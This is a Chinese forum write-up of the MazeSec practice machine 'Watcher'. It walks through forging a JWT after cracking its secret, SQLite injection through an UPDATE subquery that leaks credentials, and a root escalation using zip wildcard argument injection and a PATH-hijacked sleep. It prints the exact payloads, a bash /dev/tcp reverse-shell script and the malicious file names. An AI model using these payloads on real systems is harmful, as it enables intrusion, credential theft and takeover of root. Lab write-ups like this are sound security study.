渗透靶机复盘(3)——jwt伪造、sqlite注入、zip通配符注入提权

靶机来自 MazeSec(迷踪安全): MazeSec | About 靶机名:Watcher 作者 :Yolo 也是很久没有打了,前面的都是打完很久才来复盘。这次来个新鲜的,刚出来,今天刚打完的靶机。 关于靶机配置之前讲过了,这里就不多说了。 最近换成用wsl的kali了,只能是nat网络,所以靶...
渗透靶机复盘(3)——jwt伪造、sqlite注入、zip通配符注入提权
渗透靶机复盘(3)——jwt伪造、sqlite注入、zip通配符注入提权

靶机来自 MazeSec(迷踪安全):MazeSec | About
靶机名:Watcher
作者 :Yolo

也是很久没有打了,前面的都是打完很久才来复盘。这次来个新鲜的,刚出来,今天刚打完的靶机。
关于靶机配置之前讲过了,这里就不多说了。

最近换成用wsl的kali了,只能是nat网络,所以靶机都用的Host-only,所以都是走的 192.168.56.0/24这个网段
该网段windows侧的ip为192.168.56.1。这样会导致我的kali能访问到靶机,但是靶机访问不到kali。
这里就相当于windows和靶机都是一个”公网ip“,kali是windows的nat后面的”私网ip“
我换wsl主要是不想每次去多开一台虚拟机,还有vmware那个桥接网络不知道为什么ip老是变甚至有时候ipv4都没有,还要我手动续租什么的。但是这也有个问题就是反弹shell就做不了,我的做法是windows上装一个nc监听来平替。

话不多说,直接开打。

信息收集

靶机ip:192.168.56.106

端口扫描

┌──(kali㉿JYlover)-[~/tmp]
└─$ nmap -p- 192.168.56.106


开放22、5000端口。
只有一个5000端口有价值,但是我们又不知道upnp是啥,我尝试去浏览器访问一下。

是一个web页面,那么入口点肯定就是web了,那我们就开始web渗透

web渗透

看到登录框先是尝试了一下sql注入等。但是都没什么用,这里不知道怎么办的话可以先扫一下目录,这也是一般web渗透的流程。


就只有一个登录一个注册。
那我们直接注册一个账号好了。

进来后我们尝试访问系统管理页面,但是发现说我们权限不足,权限是normal
这里的权限认证大概率就是jwt了,但是我们还是尝试抓个包看看

果然就是jwt。我们去爆破一下密钥。

 python jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imp5bGkiLCJsZXZlbCI6Im5vcm1hbCIsImlhdCI6MTc4MDM4NDE4MywiZXhwIjoxNzgwMzg3NzgzfQ.vjfC3JLnFq0q4BoVYbpe3QQQFyFytl751JD5hTiwDDU -C -d jwtkey.txt


成功拿到jwt密钥:maze
尝试伪造。

python jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imp5bGkiLCJsZXZlbCI6Im5vcm1hbCIsImlhdCI6MTc4MDM4NDE4MywiZXhwIjoxNzgwMzg3NzgzfQ.vjfC3JLnFq0q4BoVYbpe3QQQFyFytl751JD5hTiwDDU -I -pc level -pv admin -S hs256 -p "maze"


拿到密钥:

[+] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imp5bGkiLCJsZXZlbCI6ImFkbWluIiwiaWF0IjoxNzgwMzg0MTgzLCJleHAiOjE3ODAzODc3ODN9.EP8qh3LLC4wozyqw3n-yFHuyfZi5uIoPvD8f34972XM

也可以直接去jwt官网用密钥修改。
然后直接去浏览器的 开发者工具–>应用–>cookie中替换新的jwt即可:


然后就可以正常进入系统管理页面了。
然后是改系统设置的地方,这里抓个包。

我们在value这里试试也没有sql注入。

造成sql语法报错,存在sql注入,而且这里大概率是update语句,那union注入就行不通了。但是因为这里会把更新成功的value给回显出来,所以我们尝试子查询。

这里是报没有database()函数,那说明我们的sql语句是没问题的,只是函数错了,那这是个好事啊。说明只是这不是mysql数据库,查询是对的,我们换sqlite的函数试试。

果然是sqlite。那后面就是直接sql注入了,不过多讲解。
最终payload:

{"key":"theme","value":"light',value = (select group_concat(tbl_name) from sqlite_master )--+"}
# "current_value": "users,users,sqlite_sequence,settings,settings,secret"

{"key":"theme","value":"light',value = (select group_concat(sql) from sqlite_master where tbl_name = 'secret' )--+"}
# "current_value": "CREATE TABLE secret (id INTEGER PRIMARY KEY AUTOINCREMENT,secret TEXT NOT NULL )"

{"key":"theme","value":"light',value = (select group_concat(secret) from secret )--+"}
# "current_value": "watcher:mazesec123q1231w!@#!@@#$"

获得登录凭证:
watcher:mazesec123q1231w!@#!@@#$

然后就可以直接ssh登录了。


flag{user-c3949567202847f1ad8664095f0a94e4}

权限提升

我们先老规矩传pspy64上去看看:


注意到这里两行:

2026/06/02 08:15:50 CMD: UID=0     PID=408    | /bin/bash /opt/autoarchive/sync.sh
2026/06/02 08:15:50 CMD: UID=0     PID=407    | inotifywait -m -e create /home/watcher/uploads
  1. 以root身份执行的一个一个脚本/opt/autoarchive/sync.sh
  2. 可能是脚本中执行的命令 :inotifywait是监控文件系统的工具
$  inotifywait -m -e create /home/watcher/uploads
# -m参数:持续监控模式。
# -e参数:指定事件类型  ,这里指定creat事件  

实时监控 /home/watcher/uploads 目录,当有新文件或子目录创建时,立即输出事件信息。
说明如果uploads文件夹发生变化会触发一些东西。那这个uploads文件夹我们去看看。

随便在目录下创建一点东西。


创建的瞬间就自动执行了脚本/opt/autoarchive/archive-helper,肯定是想去看看这个脚本是做什么的,但是这个目录我们没有权限

watcher@Watcher:/opt$ ls -al
total 16
drwxr-xr-x  4 root     root     4096 May 22 12:16 .
drwxr-xr-x 18 root     root     4096 May 16 05:19 ..
drwx------  2 root     root     4096 May 22 12:29 autoarchive
drwxr-xr-x  5 www-data www-data 4096 May 22 11:55 watcher

这里我们虽然不知道这个脚本是做什么的,但是静下来想一下:
一个脚本,参数是我们刚刚创建的文件。那么就很有可能是监控并把产生的文件给打包到哪里去吧。但是想不到打包这个操作也没事(而且zip,gzip,这么多打包命令也不知道是哪个)
此时我们可以打开pspy的文件系统监控功能。

watcher@Watcher:~$ ./pspy64 -fp
# pspy默认是监控进程,但是有了-f参数就是文件系统,-p参数是进程,所以我们同时监控两个


很明显抓到了调用了zip命令。
这里是有几率抓到一条zip命令的进程的,只是我们的文件太小了,zip压缩太快了,而pspy的原理其实是通过查看/proc目录实现监控的,所以太快的话就可能抓不到。
这里抓到这个包是要有点运气的,比较稳的方法是压缩一个超大文件,这里我就没有去演示了。
还有一点是实验可以发现,这个脚本应该就只是检测txt文件,如果是其他文件的话不会触发压缩。
既然是zip命令的话我们就很明显了,应该是使用zip打包时使用了通配符打包所有文件。
那这样就存在一个通配符参数注入的问题。
我们查一下GTFObins

是可以做到命令执行和文件读取的,我们可以利用文件名做参数注入:

  1. 先准备一个反弹shell的脚本
watcher@Watcher:~/uploads$ cat shell.txt
#!/bin/bash

bash -i >& /dev/tcp/192.168.56.1/9999 0>&1
  1. 给脚本添加可执行权限,并创建参数注入文件
watcher@Watcher:~/uploads$ chmod +x shell.txt

watcher@Watcher:~/uploads$ >'-T -TT shell.txt'
  1. 然后nc监听等待回弹shell就好了(我这里又创建一个1.txt是为了触发脚本)

关于zip提权

这里稍微了解一下zip的这个参数问题。
zip存在两个参数:

  1. -T :测试zip文件完整性,-T 会调用 unzip -tqq 来测试
  2. -TT :用你指定的命令来测试,如:
    -TT cmd:使用 cmd 作为解压测试的命令。zip 会创建一个临时文件,执行 cmd tmpfile.zip,如果命令返回 0 则认为测试通过。
    注意:这里的cmd是一个外部可执行程序,也就是说它可以是一个命令,也可以是一个shell脚本。

所以这里就会执行这个命令
回到我们构造的payload:
我创建了一个文件:

watcher@Watcher:~/uploads$ >'-T -TT shell.txt'

此时文件夹存在文件-T -TT shell.txt和文件shell.txt
其中shell.txt是反弹shell脚本。
此时后台root可能执行了:

zip shell.txt  -T -TT shell.txt 

后面这个文件就被当作参数执行了。

其他做法

这里分享一些其他解法。来自其他群友的wp

sleep替换

解法来自——Aristore
附上群友wp截图:


说实话这里的sleep命令的发现,我还没有复刻,不管是pspy还是上面的命令都没有抓到。
但是这个方法是稳定可行的。


原因是他这里看了/proc/$NEW_PID/cmdline,这个文件里是进程的启动命令。
所以启动命令是sleep 3,这里使用的相对路径,我们可以直接看一下脚本源码:

root@Watcher:/home/watcher/uploads# cat /opt/autoarchive/sync.sh
cat /opt/autoarchive/sync.sh
#!/bin/bash

WATCH_DIR="/home/watcher/uploads"
HELPER_PATH="${AUTOARCHIVE_HELPER:-/usr/local/bin/archive-helper}"

mkdir -p /root/backups

inotifywait -m -e create "$WATCH_DIR" |
while read -r path action file
do
    case "$file" in
        *.txt)
            sleep 3
            cd "$WATCH_DIR" || exit 1
            export PATH="$WATCH_DIR:$PATH"

            # Archive all .txt files after each new .txt file event.
            "$HELPER_PATH" *.txt >> /var/log/autosync.log 2>&1
            ;;
    esac
done

其实这个方法之所以能成功是很多巧合的,所以也只能算是学习一种思路吧。
这里看一下出题人说的:


是为了预期解能成功所以添加了PATH变量,再加上sleep没有使用绝对路径(一般都不会用绝对路径吧),所以导致执行sleep时会默认去uploads目录下找,此时我们在uploads下创建sleep文件才能被执行。算是一种非预期解吧。

CVE-2026-43494-PinThef

解法来自——BR
该内核漏洞也可直接提权,这里这个CVE我还没有太了解过,就没有复现了,后续可能找时间了解。大家可自行复现。
这里附上群友的wp截图:

知识点总结

通过这次靶机可以了解到以下知识点,大家打完后可以复习一下:

  1. jwt的密钥爆破及payload伪造
  2. sqlite注入(UPDATE的注入使用子查询,而不是union等)
  3. zip命令的通配符参数注入(-T -TT shell.txt
  4. sleep命令替换(非预期,可学习思路)

1 个帖子 - 1 位参与者

阅读完整话题

来源: LinuxDo 最新话题查看原文